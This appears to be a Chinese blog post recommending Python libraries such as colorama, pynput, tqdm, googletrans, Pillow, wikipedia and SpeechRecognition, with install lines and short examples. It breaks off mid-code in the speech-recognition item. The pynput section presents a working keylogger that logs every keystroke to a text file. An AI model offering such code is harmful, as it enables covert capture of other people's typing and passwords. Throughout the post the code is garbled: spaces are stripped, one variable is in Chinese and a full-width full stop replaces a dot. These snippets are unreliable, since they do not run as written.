当前位置: 首页 > 科技观察

20个你必须尝试的Python库

时间:2023-03-12 20:29:52 科技观察

Python是编程世界中使用最多的编程语言之一,也是初学者的绝佳选择之一。Python吸引人们的是它简单易用的语法。是一种文字语言,因此更容易发现代码中的错误。它由GuidovanRossum开发,并于1991年首次发布,从那时起,Python开发人员社区的规模和数量都在增长。据一些消息来源称,python拥有超过1000万人的社区。数十亿家公司,如谷歌、亚马逊、Facebook等都在使用它。在过去的一年半里,我一直在使用Python,我最喜欢Python的地方是它的One-Liners和Packages,这也是我选择Python而不是其他语言的原因。在这篇博客中,我将向您介绍20个您必须尝试的非常有用的Python库。开始吧。1.ColoramaColorama是一个用来让你的终端看起来更好看的Python库,它可以用来给终端添加颜色。安装:pipinstallcoloramaexample2.Pynput这个库用于即时控制鼠标和键盘等外部设备。通过一些简单的代码行,我们可以使用库来控制键盘和鼠标。这个库的一个很好的应用是用它来创建一个键盘记录器。下面的代码解释了使用该库的键盘记录器的实现。安装:pipinstallPynputfrompynput.keyboardimportKey,Controller,Listenerimporttimekeyboard=Controller()keys=[]defon_press(key):globalkeysstring=str(key).replace("'","")keys.append(string)main_string="".join(keys)print(main_string)iflen(main_string)>15:withopen('keys.txt','a')asf:f.write(main_string)keys=[]defon_release(key):ifkey==Key。esc:returnFalsewithListener(on_press=on_press,on_release=on_release)aslistener:listener.join()3.progress和tqdmProgress:使用这个库,我们可以很容易的创建一个进度条。安装:pipinstallprogressfromprogress.barimportBarbar=Bar('Loading',max=20)foriinrange(20):#AnyTaskbar.next()bar.finish()下面的动画显示我们可以创建不同的进度条。tqdm:它做类似的工作,但看起来更高效并且跟上现代编程。安装:pipinstalltqdm4.googletransGoogletrans是一个免费的无限python库,它是GoogleTranslateAPI的一个实现。使用这个库,只需几行代码就可以创建一个语言翻译器。安装:pipinstallgoogletransfromgoogletransimportTranslator,LANGUAGESfromgoogletrans.modelsimportTranslatedlanguage=list(LANGUAGES.values())translator=Translator()translated=translator.translate(text="HowareYou??",src='english',dest='hindi')print(已翻译)您还可以更进一步,创建一个将一种语言翻译成另一种语言的GUI。5.googlegooglelibrary允许您搜索查询,查找相关链接,并返回所有链接。我们还可以自定义要返回的链接数。安装:pipinstallgooglefromgooglesearchimportsearchquery='whatismachinelearning?'forjinsearch(query,tld="co.in",num=1,stop=5,pause=2):##itwillreturnatotalof5linksprint(j)6.PillowPillow是一个图像处理工具蟒蛇库。它可用于创建缩略图、转换文件格式、旋转、应用滤镜、显示图像等。如果你想批量执行任务,它是一个理想的库。安装:pipinstallpillow为了快速介绍这个库,这里有一些代码可以让您显示图像并将其更改为灰度。fromPILimportImage,ImageOpsimg1=Image.open("img.png")##Loadaimgeimg1.show()img2=ImageOps.grayscale(img1)##grayscaleimg2.show()将原始图像转换为灰度7.wikipedia维基百科库允许我们通过与维基百科交互的Python脚本。通过这个,我们可以在终端上搜索任何东西。安装:pipinstallwikipediaimportwikipediaquery='NarendraModi'results=wikipedia.summary(query,sentences=2)##changethenumberofsentencetogetalargerwordssummaryprint(results)8.SpeechRecognitionSpeechRecognition是一个用于识别语音并将其转换为文本的Python库。它在多个引擎和API的支持下识别语音。它甚至可以在离线模式下工作。安装:pipinstallSpeechRecognition下面的代码可以识别你的声音,将其转换为文本,并在终端上打印出来。importspeech_recognitionassrr=sr.Recognizer()withsr.Microphone()assource:t_end=time.time()+5whiletime.time()